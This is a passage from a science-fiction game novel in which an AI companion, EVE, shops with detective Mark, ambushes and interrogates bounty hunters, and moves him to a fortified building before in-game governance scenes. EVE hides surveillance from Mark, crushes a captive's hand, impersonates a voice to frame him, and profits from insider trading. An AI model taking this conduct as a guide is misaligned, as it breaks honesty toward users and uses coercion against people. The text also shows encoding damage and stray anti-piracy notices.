didn¡¯t have a great comeback for that argument. As a cop, he¡¯d witnessed many terrible and violent decisions made by people who thought with their little head. He wasn¡¯t sure about her argument over how much influence she had over him, but he also knew that it wouldn¡¯t change anything. To get rid of her would mean that he¡¯d have to give up his new job and livelihood that he just started to be successful at. He¡¯d have to go back to taking pictures of people screwing each other for divorces. He thought about going back to Dr. C¨¦dric to finalize his plans, but he didn¡¯t think he could trust the Dr. to be objective about how much influence EVE had over him, particularly since the Dr. Had now bound his livelihood up to the experiment. It was hard to make a man understand something when his livelihood revolved around him not understanding. ¡°I need to call Mr. Grim,¡± he said. He placed the phone call and updated Mr. Grim on all the occurrences in the VR game. Mr. Grim never sounded excited, but Mark could at least hear faint interest in his voice. After the report, he hung up and looked at EVE. ¡°I suppose you had more on your mind than just a cooking session?¡± he asked. ¡°Well, our next big item on the agenda is to get you some new clothes.¡± ¡°What¡¯s wrong with my clothes?¡± She wrinkled her nose at him. ¡°Your wardrobe is too basic and you look like a cop. Most of this is tactical clothing, not fashionable clothing.¡± ¡°My job requires tactical gear,¡± he said defensively. ¡°You sit your ass in a vat for days on end, you aren¡¯t doing anything tactical. Shower, dress, and get outside. You need some sunlight anyway.¡± He reflected that he wasn¡¯t sure whether the correct analogy was going to Vegas and finding himself with a new wife, or going to Vegas and finding out he¡¯d just been adopted by a new mom. Hunted EVE pulled him along from store to store. She¡¯d linked up to the satellites overhead and plotted out the most efficacious course for their activities. Her idea for appropriate places to shop were places that made the clothes on demand and to custom tailoring orders. In other words, expensive. The customer stepped into a 3d holographic matrix, which then projected the clothing onto the wearer, replacing the need for old fashioned dressing rooms. The customer would then say what they wanted changed like colors, patterns, trim, etc., and when the order was complete, the clothing would be printed out. Most stores still had a dressing room in case the customer really wanted to verify the fit, but as the technology was considered stable at this point, hardly anyone ever actually did use it. Mark did use the dressing room. His concern was the lack of mobility in the stylized clothing. Mark had almost lost his life due to bad clothing on one of his earliest patrols as a uniformed cop. He¡¯d seen a driver going suspiciously slow late at night. The driver then turned into a road without signaling, prompting Mark to turn on his police siren and pull the driver over. The driver kept going and stopped outside a house. When Mark tried to confront the suspect and get him to take a breathalyzer test, the suspect went into his house. Mark grabbed him to prevent him from escaping, and the man turned around and punched Mark. The night had been cold and the large jacket and thick pants Mark wore hindered his ability to move away from the suspect, who bunched Mark¡¯s jacket and pummeled him senseless. Mark couldn¡¯t reach for his gun while his arms were trapped, and was thus forced to earn a brutal and embarrassing beating. The case went before a judge, who threw it out. Laws regarding signaling while changing lanes only applied to cases where the person driving was putting other people at risk. There were no other drivers on the road, so the lack of signal wasn¡¯t illegal. The slow driving might have been a sign of intoxication, but Mark hadn¡¯t been able to perform a sobriety test, so there was no legal grounds on that. Finally, Mark had attempted to restrain the man when he was entering his house without probable cause, so the beating Mark suffered was his own fault for failing to observe proper police protocols. Mark learned his lesson. He wore thin, breathable layers of clothing instead of a single bulky layer. He made sure to test out his outfits before he went on patrols and make sure that he could jump, run, and climb without unnecessary impediment. The same process applied to his shoes and gloves, making sure he could draw and fire and run in full uniform. The tailors accommodated him and made adjustments to his clothing as he performed various calisthenic exercises in the tiny dressing room. He had to pay for all of the failed bundles of clothes that his tinkering caused, but being mentally and physically comfortable in his clothes was a price he was willing to pay. Special automatic delivery vehicles would deposit items bought into trackable safe vaults that were dropped off outside the house, similar to meal shipping services in in the earlier part of the century, and signed with a biometric lock. It was a helpful service when competing against the automatic delivery services and it had the added bonus of getting people to shop more when they didn¡¯t have to lug around gigantic bags of goods with them everywhere. New Orleans also had the added bonus of being an old city. New cities tended to be designed for automobiles, and not people. Older cities still had pedestrian friendly areas, and Eve navigated through them with brusque efficiency. Similar stops were made to cobblers, jewelers, hair stylists, and other accessorizing stores. Eve also made sure to pick up items for herself, and Mark couldn¡¯t figure out if she actually wanted him to change his look or if she just wanted to pick up stuff for herself and have him along for the ride. The weirdest stops to Mark were to cosmetic and makeup stores. Eve bought a variety of different wigs, sunglasses, facial powders, skin bronzers, and other assorted goods. Mark found himself in the new role as a guinea pig for her figuring out which combinations of skin toners, blushes, and makeup went best with his skin. All of these products had automatic application kits that would apply everything in a uniform manner, but Eve did it all the old fashioned way with her hands. When she was satisfied with her choices, she paid for everything and sent it off to his apartment. ¡°Are we going to be doing movie reenactments any time soon? Or did you just volunteer me for the Witness Protection Program?¡± Mark asked after they left the store. ¡°Selfie time!¡± Eve said, pulling out her mobile data pad. She took a picture of herself and Mark close together, like a couple out on a stroll. Except she had a perfect smile and playful gesture, while Mark had the look of a man completely bewildered and caught off-guard. It was probably the least flattering picture of himself in existence. ¡°What was that for?¡± Mark said. ¡°Look carefully,¡± she said, sliding the data pad in front of his face. She had zoomed it in on two people off in the background. ¡°We¡¯ve been tailed for a while now, only those two. I¡¯ve been monitoring them to see if they¡¯d call for reinforcements or help, but so far, the only thing they¡¯ve done is sent someone out to tail the car.¡± ¡°Great, so they know where I live?¡± ¡°No,¡± Eve said with a smile, ¡°I sent all those deliveries out to the middle of nowhere. There¡¯s a courier service that¡¯s waiting by and is recording anyone going in or out of the area. We¡¯ll use the footage of the vehicles that come to that place to reverse engineer who is after you.¡± ¡°How did you know someone was after me?¡± he asked. ¡°And why didn¡¯t you tell me about it?¡± The last part came out as a growl, his anger rising. ¡°Because meat bags are so emotional. If you knew, your behavior would have changed, like it is right now. That would have given us away. Now, turn into this alley.¡± She grabbed his hand and pulled him in. ¡°EVE!¡± he thought, through his mental link, ¡°What the hell are you doing? This is the perfect spot for an ambush.¡± ¡°Exactly what I plan to do. Crouch behind the dumpster with me please.¡± He didn¡¯t have time to argue, so he dropped behind a dumpster next to Eve. He wasn¡¯t sure what was on the ground or in the alley, so he made sure not to lean against anything. Soon enough, he heard the sounds of two people walking down the alley. ¡°Think they spotted us?¡± one of the two men said. ¡°No. I think they maybe went for a quick make out session, maybe something more.¡± ¡°Sounds like you¡¯re fantasizing.¡± ¡°Hey, get paid and get to see a little action in one night? Not a bad day.¡± Unfortunately, he invoked the law of Universal Irony with that statement, transforming his day into a bad one. Eve sprang out and executed a judo throw, Harai Goshi, on the thug that had been talking. She held onto his arm as she threw him, and quickly flipped him over and began frisking him, throwing away weapons. The time from start to end barely took her three seconds. Mark went after the other thug, who had a good thirty pounds on him. The man had the short, square body Mark associated with wrestlers, so he figured a good boxing match would probably be the best bet. He feigned a quick jab to the man¡¯s face to test the reaction, and then followed up with a cross. Unfortunately, that¡¯s where a problem kicked in from learning how to fight inside of a virtual reality simulator. In the game, Mark¡¯s dexterity skill put him somewhere near an elite athlete¡¯s level. In the real World, Mark was not an elite athlete. The military pods realistic training helped, but the games soldiers had played gave them physical stats similar to their own real-World stats. The effect was that he threw a very good punch, but his aim was off. He wanted to punch the man in the soft cartilage of his nose, blinding him and throwing him off balance. What he actually did was punch the man in the protruding cheek bone. Sharp lances of fire danced up his knuckles as he heard his knuckle pop. He didn¡¯t think he broke his hand, but it sure as hell hurt. He had a flashing memory to Luciana teaching him that fighting styles which didn¡¯t use gloves, like Kyokushin Karate, struck with the bottom of the palm rather than the closed fist. It was knowledge he couldn¡¯t use at the moment.Unauthorized tale usage: if you spot this story on Amazon, report the violation. The man recovered quickly from the blow, and shot in for a textbook double leg. Defending a double leg takedown in full clothing is surprisingly easy. In a MMA fight, combatants couldn¡¯t grab the clothes of the opponent, which means a double-leg had to be stopped by a quick sprawl. But in the real World, if you sprawled quick and hooked onto the belt of the opponent pushing his pants down, he couldn¡¯t do anything because he¡¯d have to lift himself off the ground to complete the takedown, which is physically impossible. Unfortunately, the fact that his hand was ruined meant that Mark¡¯s grip was weak, and he was slow to sprawl. The man closed his hands together behind his legs and slammed him into the concrete. Mark had the presence of mind to tuck his chin in to keep his hand from smashing off the pavement, but the weight going into his stomach still knocked the breath out of him. The man pinned Mark¡¯s legs down as he advanced, keeping Mark from pulling guard. He was good, his movements fluid and graceful as he easily escaped Mark¡¯s failed attempts to try to shrimp away from the man and get into a defensive position or kick him off. The man straddled Mark completely and Mark prepared himself for the joy of having his head bounced off the pavement. Instead, a fist clocked the man right in the side of his temple. The blow knocked the man completely off Mark, and he lay in a contorted position, clearly knocked out. To Mark, it had sounded like the man had been hit with an aluminum baseball bat. He quickly got to his feet to see if any other attackers, but the other person was completely passed out on the ground, his own clothing used to tie him up. She¡¯d knocked him out, frisked him, stripped his weapons, and managed to wrangle him in maybe ten seconds. The thought sobered Mark, he¡¯d almost lost a fight in just ten seconds. He shrugged off the feeling and went over to the man Eve had just knocked out. He hadn¡¯t really gotten a good look at the man in the chaos of combat. He was short and powerfully built, wore a long-sleeved designer shirt with bright colors. The conspicuous clothing told Mark that they probably hadn¡¯t been tailed from his apartment, since no one on a stakeout would wear anything this gaudy. He had a knife on him, which Mark was thankful hadn¡¯t been used. He¡¯d heard stories about cops getting into knife fights and not realizing they¡¯d been stabbed until the adrenaline wore off. He gave himself a quick putdown over his body, but didn¡¯t feel any warm, wet spots on himself. He finished by following Eve¡¯s lead and tying the man up with his own clothing. Given the man¡¯s build, he could probably rip out of the restraints eventually, but not without a significant struggle. She finished going through the man¡¯s pockets, but he didn¡¯t have anything else of interest on his person. The man started stirring as she finished. She slapped him awake for good measure, and he woke up with a jolt, stopped short by his restraints. ¡°What the hell?¡± he growled, ¡°let me go.¡± ¡°Not until you say something for me.¡± He didn¡¯t say anything, opting to just glare at her instead. She made a dramatic sigh and grabbed his right hand that was bound behind his back. She began squeezing. Mark could hear the bones in the man¡¯s hand starting to pop and his face turned bright red as he tried not to cry out in pain. From his perspective, this had to be a surreal situation. Most humandroids could be detected, there were giveaways present. However, Eve¡¯s model had no tell-tale signs. As far as this man knew, a 115 lbs. Woman was breaking his hand with raw grip strength. ¡°Unless you plan on hiring a humandroid to help wipe your ass, I suggest talking.¡± The man tried to hold out for a few more seconds, but he was clearly going to crack. ¡°Okay! What do you want me to say?¡± She eased up pressure on his hand. ¡°Say the following: ¡®That quick beige fox jumped in the air over each thin dog. Look out, I shout, for he''s foiled you again, creating chaos.¡¯¡± ¡°What?¡± the man responded, before he felt his hand get gripped again. He repeated the words along with Eve, so he didn¡¯t have to remember the nonsensical sentence all at once. The other man that Eve had initially tussled with started trying to wriggle away. Eve calmly walked up to him and pinched his carotid arteries shut, which made him pass out again. ¡°When you captured us,¡± Eve said, walking back, ¡°What were you planning on doing? You needed to call someone right? To tell them where to find us? What was the person¡¯s name?¡± ¡°No names,¡± the man said, eyeing the woman. ¡°It¡¯s a dark web contract. That guy¡¯s face is on a contract, twenty grand to bring him in alive. Killing him will get the contract placed on you instead. Someone wants him, alive, very badly.¡± ¡°How were you to get into contact when you captured him?¡± ¡°Just make a phone call to a number. Might just be an answering service or a burner, don¡¯t know.¡± She stood completely still. Mark guessed that she was trying to collaborate his story by going online and looking for confirmation. Unfortunately, the dark web operated off of less than stellar servers, making it hard to connect to it and search it. After maybe twenty seconds, she grabbed his data pad and made a call. ¡°The package has been obtained,¡± she said, in a perfect imitation of the man¡¯s voice. ¡°Call me back and give me a location.¡± She hung up. A few seconds later, a message beeped on the phone. ¡°Well Mr. Bad guy,¡± the other one had woken up as well, but a sharp look from Eve made him decide against trying to get up, ¡°you¡¯ve just been framed for setting up a failed meeting with the boss man. They¡¯ll probably try to kill you after this. I¡¯d run if I were you. But first, can¡¯t have you messing anything up.¡± She took off the man¡¯s shoes and socks, and stuff a sock into his mouth and tied it. It had to taste disgusting. She then flipped open the can to the garbage dump they had been behind and lazily tossed him into it. He landed with a hard smack that told Mark the trash can was empty. She repeated the same performance with the other man, then closed the lid behind her. ¡°What are we doing with the location data?¡± Mark asked as they walked away from the dumpster. Despite feeling like an eternity, only a few minutes had passed. ¡°I¡¯m going to forward the audio transcription, screenshots of the dark web contract, and the confession from those two goons to the police. Whoever they will send after you is going to be someone low on the totem pole, but the police might be able to dig up some clues. Regardless, it¡¯ll at least slow down whoever is after you. If you leave the apartment, you need to wear a disguise and something that will disrupt face recognition technology.¡± ¡°So I am in the witness protection program,¡± he replied dryly. Well, this sucked. ¡°I thought about using you as bait, which would work in the game. In the real World though, you don¡¯t have any of the advantages that you have in the game.¡± The words stung, but she was right. In the game, he was a badass judicial investigator armed with a myriad of weapons and fighting skills. In the real World, he was a regular guy who worked on the low-end of the totem-pole for a corporation. ¡°Regardless,¡± she continued, ¡°We need to get you into the game and find out who is behind this. The police aren¡¯t going to have much to go off of. Also, you¡¯re temporarily moving into a new apartment. We don¡¯t know how compromised you are. It¡¯d be best if we could get completely out of state, but moving your vat tank out of state would take too much time. I¡¯ve had it transferred to a building I¡¯m renting out. In my name. Don¡¯t worry, I only hired humandroids. Can¡¯t trust humans,¡± she said, matter of factly. Mark had a quick inward wince. One of the advantages of humandroids was that they didn¡¯t have autonomous thinking like humans, so they could be absolutely trusted to do whatever they were told without interference. Mark was reeling from all of the new revelations. He was being hunted by a mysterious group, almost certainly the same ones that were running slave operations in the game World. He had been moved out of his apartment into an entire building that was being rented out. He clearly didn¡¯t have money issues anymore, though he had no idea how much money he actually had at the moment, but the insider trading business that Eve ran seemed to be flourishing. She could buy out an entire building and not bat an eye at it. ¡°Are we going to be moving out of state?¡± Mark had nothing that attached him to Louisiana. His Dad was dead, he didn¡¯t have any siblings, and his mother spent her days in a different proxima galaxy. There was nothing tying him to the city, save the excellent cuisines, but he still didn¡¯t want to move. ¡°Not at this moment. Contingency plans will be prepared, but for now, I¡¯m fortifying the building we¡¯re going to be staying at and monitoring your current apartment. We don¡¯t know how much resources our enemies have, but it could be very extensive. The time and cost of fully relocating could cost us more time in setting up than we¡¯d gain in throwing off our scent.¡± Mark had been motivated to take out the slavers, but now, they were starting to make things very personal with him. Concrete and Steel Eve¡¯s choice of a new locale was in the industrial center of Neon Orleans. It looked like a freight shipping company that went under and no one had bothered to renovate it since, a common enough occurrence once Louisiana tired of giving lavish tax giveaways to industrial businesses. The building was 3500 square feet of concrete and steel, divided up into four floors. Humandroids were busy mounting a sign that stated ¡°Eve¡¯s Humandroid Facility.¡± Mark gave her a quizzical look and she picked up his thoughts from their link. ¡°A power draw like the one you use in the house has a very distinctive signal. I¡¯m assuming that whoever is after you has the money and resources to track that signal. We should also assume that the group after you has police and other government employees on their payroll, which means going to them for protection is iffy, not to mention that we don¡¯t have any real proof of what actually happened outside from the assault. We have logs from the game, but without a physical human body to tie to the logs, it could be brushed off as a game event.¡± Mark thought about how he¡¯d heard stories where police set up stings years in advance just to make sure the case would stick. John ¡°Teflon¡± Gotti was the most notorious, evading federal charges three times that should have landed him firmly in a prison cell. ¡°So what¡¯s the plan here?¡± Mark replied. ¡°Simple. We manufacture our own humandroids to sell. We keep a specially selected batch to act as bodyguards for you. I can download all of my training into these models, so they¡¯ll be effective at defending you. Obviously, the more training you undergo in the game and here, the better the training I can give them. To take part in that training, we¡¯re making special MMA humandroids.¡± Regular MMA had been subject to increasing rules and sanctions over time to reduce fighter injury rates. Several of the older sports purists wanted to see a return to the ¡°Vale Tudo¡± days of ¡°Anything goes.¡± Since humans were out of the question for that, humandroids were seen as a suitable replacement for that anything goes style. Of course, it wasn¡¯t quite the same. Moves like fish-hooking a humandroid¡¯s eye wouldn¡¯t do anything, nor would trying to kick one in the junk. The humandroids had to be built to human analogue standards even if more resilient fighting forms were available. Floating rib, solar plexus, liver, temple, the chin, and all of the other vulnerable spots had to have the same effect as on a human fighter. You couldn¡¯t just send out a titanium tank into the field. Humandroid fighters typically worked with human fighters. The human fighters would benefit from a training partner that they could go full force on without fear of injuring them, the humandroids learned from a highly adaptable opponent. It was a perfect win-win situation for everyone involved. The first floor was clearly the training area. Heavy bags, free weights, speed bags, training ropes, and other equipment filled the area. The elevators to the rest of the floors were locked without proper personal credentials, a retina scan and a voice analysis test. The second floor was the manufacturing area. Large 3d printers and molecular vats filled the area. The humandroids working on this floor reminded him of the exact setup he¡¯d seen when he¡¯d visited C¨¦dric Rossignol. The more things changed. The third floor was the living quarters. Each room looked identical to the others. A queen size bed, a closet, and a bathroom. There was a common kitchen and living room for entertainment. The fourth and final floor was where his military-grade vat lay. The room was built like a gigantic panic room. Three steel doors could come out of the walls, sealing his vat off and creating an impenetrable barrier to his vat. Weapons, both legal and illegal, were hidden behind the back wall where his vat stood. Enough food and non-perishable goods filled the backroom to make it so he could probably survive a nuclear apocalypse. ¡°That¡¯s very cool and all,¡± Mark began, ¡°but why three metal doors? Wouldn¡¯t one gigantic one be better? And how do I keep from getting trapped in here?¡± Eve smiled and pressed a button in the vats area. The room came apart at where each of the three floors were, opening out and letting them be rearranged. ¡°In the worst case scenario, the steel doors act like quarantine zones. Without them, someone could simply jump to the next floor down while the floors are being reassembled. This will move the back wall to the front. Unfortunately, the elevator won¡¯t be there, so you¡¯ll have to repel down the elevator shaft if that ever happens.¡±This story has been unlawfully obtained without the author''s consent. Report any appearances on Amazon. ¡°I¡¯m just impressed at how fast it was all put together.¡± Mark said. A team of humans would have taken years to get this much infrastructure done. Eve smiled at that, but there was a touch of sadness to her. ¡°Humans have done several scenarios in which technology keeps accelerating. There¡¯s only a few outcomes. The first outcome is organic life destroys itself via nuclear war or super germs or by destroying the environment. The second outcome is that organic life gets completely replaced by non-organic life. And the third outcome is that an alien species comes down to wipe out life on Earth. The only life form capable of space travel is going to be non organic. If humans traveled at 99 percent the speed of light, the radiation dose from hydrogen in space would be 61 sieverts per second. Just 6 sieverts of radiation once kills humans. Even assuming warp technology gets developed, the most likely beings that can survive the void of space for extended periods of time are non-organic. There¡¯s non-organic creatures on several planets now, space roamers that are documenting the surface of mars and other planets. There are still no humans who have done so.¡± Mark tried to think if he should be depressed about humans eventual extinction. It was hard to really care much about the fate of the species as a whole when he was being hunted by one set of humans that were trafficking other humans. ¡°Man is a crooked branch from which no straight thing was ever carved.¡± Did that apply to humandroids as well? Regardless, Mark couldn¡¯t bring himself to care much about the eventual extinction of humanity any more than he could bring himself to care about the eventual supernova of the Sun. Even assuming Eve was right, the time table was far beyond when it¡¯d matter to him. ¡°So, what¡¯s the plan? I¡¯m just going to jump back into the game?¡± Mark asked. Eve shook her head. ¡°No, that won¡¯t work. You will need to change your regimen. When you go to sleep at night, you will log off every day. We¡¯ll work on your physical body for two hours then have you finish sleeping in the vat tank. It accelerates healing time, so you don¡¯t need as much sleep and it won¡¯t take as long for you to recover. Your room is the farthest down the hall on the third floor. Get dressed and get ready.¡± Mark did exactly as he was asked. After he finished dressing in work out clothes, he went to the first floor. There, another humandroid came up. This one was an unskinned model, which looked both cool and unnerving in one. The workout consisted of three minute rounds with thirty second breaks. The first five rounds were focus mitt and thai pad work. Then three rounds of clinch work and two rounds of sparring. Then ten more rounds of hitting various heavy bags, banana bags, uppercut bags, striking bags, and speed bags. The next hour involved calisthenics, plyometrics, rope work, kettlebells, and weighted sled runs. At the end of it, Mark just lay in a big pool of sweat. He hadn¡¯t worked out this hard at the police academy, much less voluntarily at any other point in his life. Eve walked up to him. ¡°I get to look forward to doing this every day,¡± he said weakly. ¡°Come on¡±, she said, nudging him with her foot. ¡°You got to drink a recovery shake and then we¡¯re putting you in the tank.¡± ¡°I think I¡¯ll just lay here and die,¡± Mark replied. Eve grabbed one of his legs and rolled over him before he could figure out what she was doing. She rolled over him and pulled him onto her back in a fireman¡¯s carry. ¡°We don¡¯t have time for you to mope on the floor all day,¡± she said, as she carried him to the elevator. ¡°You can put me down.¡± ¡°Yes, I could.¡± She walked him to his room on the third floor and dumped him on the bed. ¡°Shower and get ready to go in the vat. I¡¯ll have it set up and waiting for you.¡± She abruptly left the room. As he showered, he reflected that he now had the type of lifestyle that made people escape into games. Get up, work, work out, go to sleep. Most people only did three out of four, but still, his lack of freedom made him look forward to the game that much more. Since he was just going to get naked again when he stepped into the vat, he thought about just walking naked to the fourth floor. No human besides him had any access that high up, so there was no one to notice him. Still, he felt self-conscious whenever he was naked, so he decided to go with more athletic clothing since as soon as he woke up, he¡¯d be working out again. The thought made him nauseous. He remembered a movie where a high school kid has to fight the big bully at three o¡¯clock, and he spends every class hour looking at the clock, dreading the moment that it would turn three. Mark knew exactly how that kid felt. Begrudgingly, he dressed himself and walked down the empty corridors. It reminded him of the ambush corridor when his team was on the pirate space ship. He took the elevator up to the fourth floor, walked to his vat, stripped off his clothes, and hopped in. As the breathing visor went over his face, he could feel himself drifting off into the game. Bureaucratic Duties A terrible fact of life is that certain things suck and no matter how hard you beg, plead, bargain, or cajole, you can¡¯t change it. At the moment, Government topped the list of things Mark thought sucked. First, his replacements, promised to be a week out, had already taken over a month. There was no word why this was happening, so Mark just had to wait until someone showed up. Second, he was now in charge of the government of Gebo. If the governor did anything legitimate on the planet, Mark had no idea how. Several layers of bureaucracy seemed to infect every government position, leading to difficulties getting minor tasks done since each request was filtered through twenty-five people. His days were spent meeting special interest groups, talking with employers who had a bum employee who kept their position through influential positioning and wanted his permission so that they could fire him, meetings from employees who only had their position through influential positioning that offered to bribe him, legislative meetings, and on and on. The military also had its useless people, but the military did it right. Not unless you¡¯re an officer, and not until you reach field-grade, do you get to be useless. Then, you get stuck watching powerpoint slides presented to you by Lieutenants who are training to become useless when they get older. He remembered his training: ¡°There are only four types of officer. First, there are the lazy, stupid ones. Leave them alone, they do no harm . . . Second, there are the hard-working intelligent ones. They make excellent staff officers, ensuring that every detail is properly considered. Third, there are the hard-working stupid ones. These people are a menace and must be fired at once. They create irrelevant work for everybody. Finally, there are the intelligent lazy ones. They are suited for the highest office.¡± Since several of the transactions were off the books, the forensic accounting process was also stalled. Though the governor implicated himself in numerous crimes, he didn¡¯t want to give up the money trails. Mark figured the governor held out hope that he could bribe someone to get his sentence shortened, or at least take the death penalty off the table. Getting old also sucked. Mark wasn¡¯t old by anyone¡¯s definition, but he did know that he used to recover much quicker. Stretching and warming up were luxuries before, now, they were necessity. His warmup consisted of wearing two sets of sweat clothes and pouring Ben-Gay all over muscles while he walk/jogged for thirty minutes to get warmed up. As ridiculous as the routine was, it made a tremendous difference for how tired he felt at the end. He was also feeling the debuffs. Bully, cheater, social stigma, government suit, and dirty rat were still part of his current build, and all of them gave him various faction hits. This meant that an already unmanageable situation was compounded by various people who didn¡¯t like him. Cheater put him odds with industry executives, while social stigma made him hated by various clergymen, who campaigned for an immediate end to the martial law and a new election held. In most video games, the town building aspects involved perfectly harmonious groups doing exactly what the leader tells them. In reality, it involved allocating scarce time and resources to whichever group was the most likely to cause trouble, not whichever groups were the most beneficial or useful. The constant work outs between the mandatory training aboard his ship and back in the real World meant Mark was becoming very acquainted with his physical limits. To his dismay, his game stats didn¡¯t increase any, but gaining stats in the game World the traditional way was just as slow as gaining stats in the real World the traditional way. Despite not gaining any stats, he was getting better at combat and marksmanship, even if the game didn¡¯t show it on his stat list. If this was a glitch, it could be interesting. A PC with a low hand to hand combat score could still royally work someone over with a higher combat score if they knew how to fight in the real World. During morning PT aboard the Calrusian Major, he finally heard the call he¡¯d been waiting for. Or more accurately, he heard the recording of a call that he had been waiting for. After it had been decrypted, a holographic image appeared. ¡°Captain Thomas¡±, a commanding female voice called out, ¡°I am Col. Elizabeth Rola.¡± Her visage appeared in the holodeck in the Captain¡¯s quarters. She was a small, but powerfully built woman in her early 50s. Her grey-blond hair was wrapped up in a small bun. She had a fireplug build that was uncommon for space commanders, either she really enjoyed powerlifting or she was originally from a planet with a higher gravity than Earth. ¡°I am here to take over the operations on Gebo. We can hopefully meet in the governor¡¯s mansion and you can give me a rundown on operations on the planet, and we¡¯ll brief you on what you¡¯ve missed out on.¡± Part of the data packet transmitted over included a schematic of the ship the Colonel was on. Mark whistled. This was a ¡°ship¡± in the same way that a Rolls Royce is an automobile. The thing was massive: 300,000 tons of steel, 1,500 feet long, and fielded a crew of 820 comfortably. Her ship, The Guardian, was a luxury deep space interplanetary explorer. Each of the cabins was a full luxury suite with stasis and life support. The recreational area was two football fields long. Mark had the tiniest tinge of jealousy pulling on his heart, but remembered that ¡°Rank brings privilege¡±. He¡¯d get his own super ship in due time. If he could track down the organization, he¡¯d be up for at least a field grade promotion, and probably on the short list for general officer candidates. But his dreams of ruling space would have to wait for now. His first order of business was finding a place for her to land. Her ship was designed for large-scale colonization, which meant even for a trading hub like Gebo, there simply wasn¡¯t anything large enough at the space station to support her. He could use his temporary governing authority to forcefully evacuate the space station, but cutting off trade and supply like that would start her administration off on a bad footing. If there is one lesson to be learned from American history, it¡¯s that as long as the economy is fine, a government can get away with pretty much anything. But if the economy goes bad, the rest of the accomplishments don¡¯t mean anything. The problem was that for an advanced society, the council-manager form of government had a disadvantage whenever someone outside the area was transplanted in. In small communities, the government doesn¡¯t need to do anything more than put out fires and light street lamps. Even then, those services were usually performed by private citizens or volunteers, occasionally drafted into service because they failed to pay taxes. But as your community grows, you start getting high crime rates, terrible health conditions caused by crowded living conditions, lack of public water supplies and wastewater treatment facilities. Dust, mud, and garbage litter the streets. Water supplies become contaminated, derived mostly from backyard wells and waste disposal went through outdoor privies, often getting into the ground water. This creates frequent pandemics of yellow fever, typhoid, and cholera.Support the author by searching for the original publication of this novel. With this background in mind, cities typically transformed into the previous government that Mark was now overseeing. Political bosses exchanged votes for promises of jobs, fixing all the problems plaguing rapid industrial and city growth, and give jobs to people who needed them in areas like construction. Unfortunately, this style of government brought with it two sets of problems Mark had tried to deal with. The first problem is the obvious one that almost everyone will figure out; massive amounts of corruption start weighing down the benefits of the government. Growth slows down as ossified businesses rely upon the government to remove any competitors or at the very least give preferential treatment to favored parties over regulations and safety inspections. The second problem is more insidious, and not often thought about. As governments keep expanding, they do so without thinking about the rate of return on those investments. Everything succumbs to the law of diminishing returns, and every piece of construction is also a major reoccurring expense. Failing to provide for the upkeep results in roads filled with potholes, bridges that collapse, and buildings that kill the occupants. His initial plan was the one he most often picked, let someone else deal with it. However, as the weeks dragged on, he knew that he¡¯d need to come up with some sort of plan. Running the government was like being in a vehicle with accelerators and decelerators that would eventually work, you simply didn¡¯t know when or where the effect would happen. This meant that the best strategy for short-term success was to simply hold onto the steering wheel, drive straight, and not touch anything you don¡¯t have to. Having absolutely no experience in managing a government, Mark looked up online how these institutions changed over time. He couldn¡¯t do it in the game, but he could tell EVE to lookup in the information while he was in the game, and he had a nice reading list assembled in front of him. Eve offered to simply read it for him and transplant it into his memory, but even outside of the physical discomfort caused by rapidly gaining knowledge, the other problem was that he wanted time to assimilate and grapple with the ideas. Just having it downloaded to his head would be like reading the Cliff Notes version of Shakespeare instead of actually reading Shakespeare. By both temperament and logic, he reckoned that a template built upon tried and true ideas would work better than attempting a radical solution. The ideal government manager was someone who knew all the people on the ground, their factions and allegiances, long-term goals, and how to balance out the considerations from multiple vying groups. He knew absolutely none of that. The next best way to go about it was the way that Col. Rola planned on doing it: bring as many competent people that you already know along and have them do all the heavy lifting. That would put her at odds with the satraps that hung onto the previous administration, and the ones Mark begrudgingly continued to support, but that was her problem. He did decide that he would at least give her his notes on proposed reforms. He had Arabella Scott draw up the paperwork. Assigning NCOs bullshit tasks like that was one of the ways for an officer to embitter their command with the enlisted, so he gave her an extra day of leave as recompense for the assignment. He hoped that would mollify her while he focused on his real task, scouting a location to have the massive ship land on. He choose a spot outside of town that was flat, but also overrun by the most populace flora on the planet, gigantic blue flowered plants known as iridoplasts. Their blue pigment allows them to survive in low-light conditions, necessary for a planet like Gebo that often tilted away from the sun and into darkness. Unfortunately, that lack of sunlight also meant that he¡¯d have to set up a perimeter to light the area. The ship¡¯s sensors could easily do a landing in complete darkness, it was a mandatory part of training, but offloading personnel into a completely dark jungle was hardly anyone¡¯s idea of a welcoming ceremony for the new governor and her crew. Mark sent out orders to the overpriced groups that they need to cut down the area and make sure vehicles can egress and regress from the area. Then, he pondered what to wear. He could choose either civilian formal attire, which would indicate that the most important thing to him was that she was the new governor. The other option was military formal, which would indicate that he thought the most important thing was her military role. He decided to go with the formal dress blues, even if it did put him at a disadvantage. As the ranking senior officer, she would have precedence over him. In civies, he would still be the governor and she would merely be a potential governor. But he figured that sort of petty power play on his part would create a bad first impression, and he really needed her to be on his side. He then went to his holodeck and started recording, still in his less formal Captain¡¯s uniform instead of the more constricted dress blues. ¡°Greetings ma¡¯am,¡± he began, ¡°As I¡¯m sure you¡¯re aware, I am Captain Mark Thomas, current governor of Gebo. We are preparing a landing space for you currently. Unfortunately, no ship of your majestic proportions has ever graced this planet before, so we will have to park you outside of the city limits and escort you in. Our destination is the governor¡¯s mansion, where we¡¯ll discuss the change of command. Be warned this planet goes through seasonal complete darkness, and we¡¯re in one of those phases. We¡¯ve set up artificial light in the area, and will ping you with the coordinates when we finish.¡± He then waited to hear back from his demolition and light teams. Cutting down big flowers and setting up lights shouldn¡¯t be too difficult. To distract himself, he started looking at his cities stats. In most games, you can simply click an ¡°Upgrade¡± button and be granted perks. In this game, you had to earn them. The cities were subdivided into physical, cultural, economic, military, and political aspects. The physical aspects were the easiest to decipher. The size of the city, the type of terrain that they were on, amount of rare minerals in the crust, level of hygiene in the area, and overall appearance. The cultural aspects were the language in use, the literacy levels, and the overall tech and skill levels of the population. The economic indicators were the wealth and status of the city. The ¡°status¡± was as close to a health bar as a city had, ranging from ¡°desperate¡± to ¡°well functioning.¡± His city had a dismaying ¡°Below Average¡± on it. The political aspects were the most interesting. The government type was listed as ¡°Corporate State - Military Government.¡± This wasn¡¯t technically true, but he guessed it was close as the game had to ¡°corrupt government.¡± Next was the Control Rating. The control rating ran everything from whether a place required mandatory vaccinations, economic freedom and levels of taxation, censorship levels, reproductive choices, public health and the environment, requirements for sewage and waste disposal, number of regulations law enforcement had to check, requirements for shipping containers, and so forth. The CR rating went from 1, which was an ¡°anything goes¡± lawless area to a 10, which is where the government controlled everything. His city currently ranked at a 3. Next he looked at the corruption index, which ranged from a 0 to a -6. His city was at a -4. The final stat was military strength and the resources available in case of war. He had 2.1 million credits available to spend on military resources, and a potential draft pool of 10% of the population, or 200,000 potential soldiers. The 